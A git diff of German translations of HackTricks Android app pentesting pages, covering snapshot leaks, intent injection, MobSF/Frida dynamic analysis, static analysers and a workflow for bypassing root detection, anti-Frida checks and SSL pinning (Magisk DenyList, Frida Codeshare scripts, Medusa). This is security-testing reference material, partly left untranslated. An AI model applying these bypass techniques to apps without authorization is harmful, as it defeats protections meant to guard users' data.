+Wenn du eine Anwendung in den Hintergrund legst, speichert Android einen **Snapshot der Anwendung**, sodass beim Wiederherstellen in den Vordergrund zuerst das Bild geladen wird, bevor die App startet, wodurch es so aussieht, als wäre die App schneller geladen.
 
-Wenn dieser Snapshot jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Snapshot diese Informationen **stehlen** (beachte, dass du root benötigst, um darauf zuzugreifen).
+Wenn dieser Snapshot jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Snapshot diese **Infos stehlen** (beachte, dass man dafür root benötigt).
 
-Die Snapshots werden normalerweise gespeichert unter: **`/data/system_ce/0/snapshots`**
+Die Snapshots werden üblicherweise hier gespeichert: **`/data/system_ce/0/snapshots`**
 
-Android bietet eine Möglichkeit, die **Aufnahme von Screenshots durch Setzen des FLAG_SECURE** Layout-Parameters zu verhindern. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch verhindert wird, dass sie in Screenshots erscheinen oder auf nicht-sicheren Displays angezeigt werden.
+Android bietet eine Möglichkeit, die **Erfassung von Screenshots durch Setzen des FLAG_SECURE** Layout-Parameters zu verhindern. Wenn dieses Flag verwendet wird, werden die Fensterinhalte als sicher behandelt, sodass sie nicht in Screenshots erscheinen oder auf nicht-sicheren Displays angezeigt werden können.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
 ### **Android Application Analyzer**
 
-Dieses Tool kann dir helfen, verschiedene Tools während der dynamic analysis zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
+Dieses Tool kann dir helfen, verschiedene Tools während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 
 ### Intent Injection
 
-Developers often create proxy components like activities, services, and broadcast receivers that handle these Intents and pass them to methods such as `startActivity(...)` or `sendBroadcast(...)`, which can be risky.
+Entwickler erstellen häufig Proxy-Komponenten wie activities, services und broadcast receivers, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weiterreichen, was riskant sein kann.
 
-Die Gefahr besteht darin, dass Angreifer diese Intents fehlleiten und so nicht-exportierte App-Komponenten auslösen oder auf sensible content providers zugreifen können. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs über `Intent.parseUri(...)` in `Intent`-Objekte umwandelt und diese dann ausführt, was potenziell zu bösartigen Intent injections führen kann.
+Die Gefahr besteht darin, Angreifern zu erlauben, non-exported App-Komponenten zu triggern oder auf sensible content providers zuzugreifen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs mittels `Intent.parseUri(...)` in `Intent`-Objekte konvertiert und diese dann ausführt, was zu bösartigen Intent-Injections führen kann.
 
 ### Essential Takeaways
 
-- **Intent Injection** ist ähnlich wie das Open Redirect-Problem im Web.
-- Exploits beinhalten das Weitergeben von `Intent`-Objekten als Extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
-- Dadurch können non-exported components und content providers für Angreifer zugänglich gemacht werden.
-- Die Konvertierung von URLs zu `Intent`-Objekten durch `WebView` kann unbeabsichtigte Aktionen ermöglichen.
+- **Intent Injection** ist ähnlich dem Open Redirect-Problem im Web.
+- Exploits beinhalten das Weiterreichen von `Intent`-Objekten als extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
+- Dadurch können non-exported Komponenten und content providers für Angreifer exponiert werden.
+- Die URL-zu-`Intent`-Konvertierung von `WebView` kann unbeabsichtigte Aktionen ermöglichen.
 
-### Android Client Side Injections and others
+### Android Client-seitige Injections und andere
 
-Wahrscheinlich kennst du diese Art von Schwachstellen aus dem Web. Bei Android-Anwendungen musst du bei diesen Schwachstellen besonders vorsichtig sein:
+Wahrscheinlich kennst du diese Art von Vulnerabilities bereits aus dem Web. Bei Android-Anwendungen musst du besonders vorsichtig mit folgenden Schwachstellen sein:
 
-- **SQL Injection:** Wenn du mit dynamischen Queries oder Content-Providers arbeitest, stelle sicher, dass parameterisierte Abfragen verwendet werden.
-- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
-- **Local File Inclusion:** Bei WebViews sollte der Zugriff auf das Dateisystem deaktiviert sein (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
-- **Eternal cookies**: In vielen Fällen wird beim Beenden der Android-Anwendung die Session-Cookie nicht widerrufen oder es kann sogar auf die Festplatte gespeichert werden.
+- **SQL Injection:** Beim Umgang mit dynamischen Queries oder Content-Providers stelle sicher, dass du parameterisierte Abfragen verwendest.
+- **JavaScript Injection (XSS):** Stelle sicher, dass JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
+- **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig erlaubt) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled).
+- **Eternal cookies:** In mehreren Fällen, wenn die Android-Anwendung die Session beendet, wird das Cookie nicht widerrufen oder es kann sogar auf die Festplatte gespeichert werden.
 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
@@ -606,7 +606,7 @@ Wahrscheinlich kennst du diese Art von Schwachstellen aus dem Web. Bei Android-A
 
 ![](<../../images/image (866).png>)
 
-**Sicherheitsbewertung der Anwendung** mithilfe einer ansprechenden webbasierten Oberfläche. Du kannst auch dynamic analysis durchführen (du musst aber die Umgebung vorbereiten).
+**Vulnerability assessment of the application** unter Verwendung eines ansprechenden web-basierten Frontends. Du kannst auch dynamische Analyse durchführen (du musst jedoch die Umgebung vorbereiten).
 ```bash
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@@ -614,43 +614,43 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
 Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
 
-MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
+MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **Hash** will be **hochgeladen** instead of the file.
 
-### Unterstützte dynamische Analyse mit MobSF
+### Assisted Dynamic analysis with MobSF
 
-**MobSF** kann auch sehr nützlich für **dynamic analysis** unter **Android** sein, aber in diesem Fall müssen Sie MobSF und **genymotion** auf Ihrem Host installieren (a **VM** or **Docker** won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
-Der **MobSF dynamic analyser** kann:
+**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
+The **MobSF dynamic analyser** can:
 
-- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
-- Erfassen von **HTTPS traffic**
-- Verwenden von **Frida**, um **Laufzeitinformationen** zu erhalten
+- **Dump application data** (URLs, logs, Zwischenablage, Screenshots, die du machst, Screenshots, die vom "**Exported Activity Tester**" erstellt werden, E-Mails, SQLite-Datenbanken, XML-Dateien und andere erstellte Dateien). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
+- Capture **HTTPS traffic**
+- Use **Frida** to obtain **runtime** **information**
 
-Ab **Android versions > 5** wird es **automatically start Frida** und globale **proxy**-Einstellungen setzen, um den Traffic zu **capture**. Es wird nur den Traffic der getesteten Anwendung erfassen.
+From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
 
 **Frida**
 
-Standardmäßig werden auch einige Frida Scripts verwendet, um **bypass SSL pinning**, **root detection** und **debugger detection** zu umgehen und um **monitor interesting APIs**.\
-MobSF kann außerdem **invoke exported activities**, **screenshots** davon erstellen und diese für den Report **save**.
+By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
+MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
 
-Um das dynamische Testing zu **start**en, drücken Sie den grünen Button: "**Start Instrumentation**". Drücken Sie "**Frida Live Logs**", um die von den Frida-Scripts erzeugten Logs zu sehen, und "**Live API Monitor**", um alle Aufrufe zu gehookten Methoden, übergebene Argumente und Rückgabewerte zu sehen (dies erscheint nach dem Drücken von "Start Instrumentation").\
-MobSF erlaubt Ihnen auch, eigene **Frida scripts** zu laden (um die Ergebnisse Ihrer Friday scripts an MobSF zu senden, benutzen Sie die Funktion `send()`). Es gibt auch **several pre-written scripts**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), einfach **select them**, drücken Sie "**Load**" und dann "**Start Instrumentation**" (Sie können die Logs dieser Scripts in "**Frida Live Logs**" sehen).
+To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
+MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
 
-Zudem haben Sie einige zusätzliche Frida-Funktionalitäten:
+Moreover, you have some Auxiliary Frida functionalities:
 
-- **Enumerate Loaded Classes**: Druckt alle geladenen Klassen
-- **Capture Strings**: Gibt alle erfassten Strings während der Nutzung der Anwendung aus (sehr noisy)
-- **Capture String Comparisons**: Kann sehr nützlich sein. Es wird **die 2 Strings zeigen, die verglichen wurden** und ob das Ergebnis True oder False war.
-- **Enumerate Class Methods**: Geben Sie den Klassennamen ein (z. B. "java.io.File") und es werden alle Methoden der Klasse ausgegeben.
-- **Search Class Pattern**: Sucht Klassen nach Pattern
-- **Trace Class Methods**: **Trace** einer **ganzen Klasse** (zeigt Eingaben und Ausgaben aller Methoden der Klasse). Denken Sie daran, dass MobSF standardmäßig mehrere interessante Android API-Methoden traces.
+- **Enumerate Loaded Classes**: Gibt alle geladenen Klassen aus
+- **Capture Strings**: Es wird während der Nutzung der Anwendung alle erfassten Strings ausgeben (sehr viel Output)
+- **Capture String Comparisons**: Kann sehr nützlich sein. Es wird **die 2 Strings, die verglichen werden, anzeigen** und ob das Ergebnis True oder False war.
+- **Enumerate Class Methods**: Gib den Klassennamen ein (z.B. "java.io.File") und es werden alle Methoden der Klasse ausgegeben.
+- **Search Class Pattern**: Suche Klassen nach Pattern
+- **Trace Class Methods**: **Trace** eine **gesamte Klasse** (siehe Eingaben und Ausgaben aller Methoden der Klasse). Denk daran, dass MobSF standardmäßig mehrere interessante Android API-Methoden trace't.
 
-Sobald Sie das Auxiliary-Modul ausgewählt haben, das Sie verwenden möchten, müssen Sie "**Start Intrumentation**" drücken und Sie werden alle Ausgaben in "**Frida Live Logs**" sehen.
+Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
 
 **Shell**
 
-MobSF stellt Ihnen außerdem eine Shell mit einigen **adb** commands, **MobSF commands**, und gängigen **shell** **commands** unten auf der Seite für dynamische Analyse zur Verfügung. Einige interessante commands:
+Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
 ```bash
 help
 shell ls
@@ -659,34 +659,34 @@ exported_activities
 services
 receivers
 ```
-**HTTP tools**
+**HTTP-Tools**
 
-Wenn HTTP-Traffic erfasst wird, kannst du eine unansehnliche Ansicht des erfassten Traffics unten unter "**HTTP(S) Traffic**" sehen oder eine schönere Ansicht über die grüne Schaltfläche "**Start HTTPTools**". Bei der zweiten Option kannst du **send** die **captured requests** an **proxies** wie Burp oder Owasp ZAP.\
-Um das zu tun: _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> drücke "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
+Wenn HTTP traffic aufgezeichnet wird, siehst du eine rohe Ansicht des aufgezeichneten Verkehrs über den Button "**HTTP(S) Traffic**" unten oder eine schönere Ansicht über den grünen Button "**Start HTTPTools**". Über die zweite Option kannst du die **captured requests** an **proxies** wie Burp oder Owasp ZAP senden.  
+Um das zu tun: _Burp einschalten -->_ _Intercept ausschalten --> in MobSB HTTPTools die Anfrage auswählen_ --> auf "**Send to Fuzzer**" klicken --> _die proxy address auswählen_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
-Sobald du die dynamic analysis mit MobSF abgeschlossen hast, kannst du auf "**Start Web API Fuzzer**" drücken, um **fuzz http requests** und nach Schwachstellen zu suchen.
+Sobald du die dynamic analysis mit MobSF beendet hast, kannst du auf "**Start Web API Fuzzer**" klicken, um **fuzz http requests** auszuführen und nach Schwachstellen zu suchen.
 
 > [!TIP]
-> Nach Durchführung einer dynamic analysis mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein und du wirst sie nicht über die GUI beheben können. Du kannst die Proxy-Einstellungen wie folgt reparieren:
+> Nach einer dynamic analysis mit MobSF können die proxy settings möglicherweise falsch konfiguriert sein und du kannst sie nicht über die GUI beheben. Du kannst die proxy settings folgendermaßen zurücksetzen:
 >
 > ```
 > adb shell settings put global http_proxy :0
 > ```
 
-### Assisted Dynamic Analysis mit Inspeckage
+### Unterstützte dynamic analysis mit Inspeckage
 
-Du kannst das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) bekommen.\
-Dieses Tool verwendet einige **Hooks**, um dir zu zeigen, **what is happening in the application**, während du eine **dynamic analysis** durchführst.
+Du kannst das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) beziehen.  
+Dieses Tool verwendet einige **Hooks**, um dir zu zeigen, **was in der Anwendung passiert**, während du eine **dynamic analysis** durchführst.
 
 ### [Yaazhini](https://www.vegabird.com/yaazhini/)
 
-Dies ist ein **tolles Tool, um static analysis mit einer GUI durchzuführen**
+Dies ist ein **großartiges Tool, um static analysis mit einer GUI durchzuführen**
 
 ![](<../../images/image (741).png>)
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Dieses Tool ist dafür konzipiert, nach verschiedenen **security related Android application vulnerabilities** zu suchen, entweder im **source code** oder in **packaged APKs**. Das Tool ist außerdem **capable of creating a "Proof-of-Concept" deployable APK** und **ADB commands**, um einige der gefundenen Schwachstellen auszunutzen (Exposed activities, intents, tapjacking...). Wie bei Drozer ist es nicht nötig, das Testgerät zu rooten.
+Dieses Tool ist darauf ausgelegt, mehrere **security related Android application vulnerabilities** zu finden, entweder im **source code** oder in **packaged APKs**. Das Tool kann außerdem ein **Proof-of-Concept deployable APK** und **ADB commands** erstellen, um einige der gefundenen Schwachstellen (Exposed activities, intents, tapjacking...) auszunutzen. Wie bei Drozer ist es nicht nötig, das Testgerät zu rooten.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -695,10 +695,10 @@ qark --java path/to/specific/java/file.java
 ```
 ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
 
-- Zeigt alle extrahierten Dateien zur einfachen Übersicht an
-- Dekompliliert APK-Dateien automatisch in Java- und Smali-Format
-- Analysiert AndroidManifest.xml auf häufige Schwachstellen und Verhalten
-- Statische Quellcode-Analyse auf häufige Schwachstellen und Verhalten
+- Zeigt alle extrahierten Dateien zur einfachen Referenz an
+- Decompiliert APK-Dateien automatisch in Java- und Smali-Format
+- Analysiert AndroidManifest.xml auf häufige Schwachstellen und Verhaltensweisen
+- Statische Quellcode-Analyse auf häufige Schwachstellen und Verhaltensweisen
 - Geräteinformationen
 - und mehr
 ```bash
@@ -706,11 +706,11 @@ reverse-apk relative/path/to/APP.apk
 ```
 ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
 
-SUPER ist eine Kommandozeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien nach Schwachstellen analysiert. Dazu werden APKs dekomprimiert und eine Reihe von Regeln angewendet, um diese Schwachstellen zu erkennen.
+SUPER ist eine Kommandozeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_ Dateien auf der Suche nach Schwachstellen analysiert. Dazu dekomprimiert es APKs und wendet eine Reihe von Regeln an, um diese Schwachstellen zu erkennen.
 
-Alle Regeln sind in einer Datei `rules.json` zentralisiert, und jedes Unternehmen oder jeder Tester kann eigene Regeln erstellen, um gezielt das zu analysieren, was benötigt wird.
+Alle Regeln sind in einer `rules.json`-Datei zusammengefasst, und jedes Unternehmen oder jeder Tester kann eigene Regeln erstellen, um seine Anforderungen zu analysieren.
 
-Lade die neuesten Binärdateien von der [download page](https://superanalyzer.rocks/download.html) herunter
+Lade die neuesten Binaries von der [download page](https://superanalyzer.rocks/download.html) herunter
 ```
 super-analyzer {apk_file}
 ```
@@ -718,9 +718,9 @@ super-analyzer {apk_file}
 
 ![](<../../images/image (297).png>)
 
-StaCoAn ist ein **crossplatform**-Tool, das Entwickler, bugbounty hunters und ethical hackers bei der Durchführung von [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) an mobilen Anwendungen unterstützt.
+StaCoAn ist ein **crossplatform** Tool, das Entwickler, bugbounty hunters und ethical hackers bei der Durchführung von [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) an mobilen Anwendungen unterstützt.
 
-Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) per Drag & Drop auf die StaCoAn-Anwendung ziehen; sie erzeugt dann einen visuellen und portablen Bericht für Sie. Sie können die Einstellungen und wordlists anpassen, um ein individuelles Erlebnis zu erhalten.
+Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) per Drag & Drop auf die StaCoAn-Anwendung ziehen und es einen visuellen, portablen Bericht für Sie erstellt. Sie können die Einstellungen und wordlists anpassen, um ein individuelles Erlebnis zu erhalten.
 
 Herunterladen[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 ```
@@ -728,7 +728,7 @@ Herunterladen[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 ```
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
-AndroBugs Framework ist ein System zur Analyse von Schwachstellen in Android-Anwendungen, das Entwicklern oder hackers dabei hilft, potenzielle Sicherheitslücken zu finden.\
+AndroBugs Framework ist ein System zur Analyse von Android-Schwachstellen, das Entwicklern oder hackers hilft, potenzielle Sicherheitslücken in Android-Anwendungen zu finden.\
 [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
@@ -738,7 +738,7 @@ androbugs.exe -f [APK file]
 
 **Androwarn** ist ein Tool, dessen Hauptzweck darin besteht, potenziell bösartiges Verhalten einer Android-Anwendung zu erkennen und den Benutzer davor zu warnen.
 
-Die Erkennung erfolgt durch die **static analysis** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mithilfe der [`androguard`](https://github.com/androguard/androguard)-Bibliothek.
+Die Erkennung erfolgt mittels **static analysis** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der Bibliothek [`androguard`](https://github.com/androguard/androguard).
 
 Dieses Tool sucht nach **häufigem Verhalten von "bösen" Anwendungen** wie: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
 ```
@@ -748,30 +748,30 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ![](<../../images/image (595).png>)
 
-**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Es ist ein Tool, das häufig verwendete mobile Application reverse engineering und analysis Tools zusammenführt, um beim Testen mobiler Anwendungen gegen die OWASP mobile security threats zu unterstützen. Ziel ist es, diese Aufgabe für mobile Anwendungsentwickler und Sicherheitsexperten einfacher und benutzerfreundlicher zu gestalten.
+**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals.
 
 It is able to:
 
 - Extract Java and Smali code using different tools
-- APKs analysieren mit: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
-- Private Informationen aus dem APK mittels regexps extrahieren.
-- Das Manifest analysieren.
-- Gefundene Domains analysieren mit: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) und [whatweb](https://github.com/urbanadventurer/WhatWeb)
+- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
+- Extract private information from the APK using regexps.
+- Analyze the Manifest.
+- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
 - Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
 
 ### Koodous
 
-Nützlich zur Erkennung von Malware: [https://koodous.com/](https://koodous.com)
+Nützlich zur Erkennung von malware: [https://koodous.com/](https://koodous.com/)
 
 ## Obfuscating/Deobfuscating code
 
-Beachte, dass abhängig vom Service und der Konfiguration, die du zum Obfuskieren des Codes verwendest, Secrets möglicherweise obfuskiert sind oder nicht.
+Beachte, dass abhängig vom Service und der Konfiguration, die du zum obfuscate des Codes verwendest, secrets möglicherweise obfuscated bleiben oder nicht.
 
 ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
 
-From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Es kann Bytecode optimieren sowie ungenutzte Instruktionen erkennen und entfernen. ProGuard ist freie Software und wird unter der GNU General Public License, version 2 vertrieben.
+From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
 
-ProGuard wird als Teil des Android SDK verteilt und läuft beim Erstellen der Anwendung im Release-Modus.
+ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
 
 ### [DexGuard](https://www.guardsquare.com/dexguard)
 
@@ -789,7 +789,7 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu
 
 **DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
 
-Du kannst eine obfuskierte APK auf deren Plattform hochladen.
+You can upload an obfuscated APK to their platform.
 
 ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
 
@@ -797,11 +797,11 @@ This is a LLM tool to find any potential security vulnerabilities in android app
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
-Es ist ein **generic android deobfuscator.** Simplify **virtually executes an app** um ihr Verhalten zu verstehen und versucht dann, **tries to optimize the code** damit es sich identisch verhält, aber für einen Menschen leichter zu verstehen ist. Jede Optimierungsart ist einfach und generisch, daher spielt es keine Rolle, welche spezifische Art der Obfuskation verwendet wurde.
+It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 
-APKiD gives you information about **how an APK was made**. Es identifiziert viele **compilers**, **packers**, **obfuscators**, und andere seltsame Dinge. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
+APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
 
 ### Manual
 
@@ -811,7 +811,7 @@ APKiD gives you information about **how an APK was made**. Es identifiziert viel
 
 ### [Androl4b](https://github.com/sh4hin/Androl4b)
 
-AndroL4b ist eine Android security virtual machine basierend auf ubuntu-mate und enthält eine Sammlung der neuesten Frameworks, Tutorials und Labs von verschiedenen Security-Geeks und Forschern für reverse engineering und malware analysis.
+AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
 
 ## References
 
@@ -826,7 +826,7 @@ AndroL4b ist eine Android security virtual machine basierend auf ubuntu-mate und
 - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
 - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
 
-## Noch auszuprobieren
+## Yet to try
 
 - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
 - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

@@ -2,30 +2,30 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Diese Seite bietet einen praktischen Workflow, um dynamic analysis gegen Android-Apps wiederherzustellen, die Instrumentation erkennen/root‑blocken oder TLS pinning erzwingen. Sie konzentriert sich auf schnelle Triage, häufige Erkennungen und copy‑pasteable hooks/tactics, um diese nach Möglichkeit ohne repacking zu umgehen.
+Diese Seite bietet einen praktischen Workflow, um die dynamische Analyse gegen Android-Apps wiederherzustellen, die Instrumentation erkennen/root‑blockieren oder TLS pinning erzwingen. Der Fokus liegt auf schneller Triage, häufigen Erkennungen und kopierbaren Hooks/Taktiken, um diese nach Möglichkeit ohne Repacking zu umgehen.
 
 ## Detection Surface (what apps check)
 
-- Root checks: su binary, Magisk paths, getprop values, common root packages
+- Root-Checks: su binary, Magisk paths, getprop values, common root packages
 - Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
 - Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
 - Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
 - TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
 
-## Schritt 1 — Schneller Erfolg: Root mit Magisk DenyList verbergen
+## Step 1 — Quick win: hide root with Magisk DenyList
 
-- Aktiviere Zygisk in Magisk
-- Aktiviere DenyList, füge das Zielpaket hinzu
-- Neustart und erneut testen
+- Enable Zygisk in Magisk
+- Enable DenyList, add the target package
+- Reboot and retest
 
-Viele Apps suchen nur nach offensichtlichen Indikatoren (su/Magisk-Pfade/getprop). DenyList neutralisiert oft naive Checks.
+Viele Apps suchen nur nach offensichtlichen Indikatoren (su/Magisk paths/getprop). DenyList neutralisiert oft naive Checks.
 
 References:
 - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
 
-## Schritt 2 — 30‑Sekunden Frida Codeshare tests
+## Step 2 — 30‑second Frida Codeshare tests
 
-Probiere gängige drop‑in scripts, bevor du tiefer einsteigst:
+Try common drop‑in scripts before deep diving:
 
 - anti-root-bypass.js
 - anti-frida-detection.js
@@ -35,13 +35,13 @@ Example:
 ```bash
 frida -U -f com.example.app -l anti-frida-detection.js
 ```
-Diese setzen typischerweise Java root/debug checks, process/service scans und native ptrace() außer Kraft. Nützlich bei leicht geschützten apps; gehärtete targets benötigen möglicherweise maßgeschneiderte hooks.
+Diese ersetzen typischerweise Java root/debug-Prüfungen, Prozess-/Service-Scans und native ptrace()-Aufrufe durch Stubs. Nützlich bei leicht geschützten Apps; gehärtete Ziele benötigen möglicherweise maßgeschneiderte Hooks.
 
 - Codeshare: https://codeshare.frida.re/
 
-## Automatisieren mit Medusa (Frida-Framework)
+## Automatisieren mit Medusa (Frida framework)
 
-Medusa bietet über 90 fertige Module für SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception und mehr.
+Medusa bietet 90+ fertige Module für SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception und mehr.
 ```bash
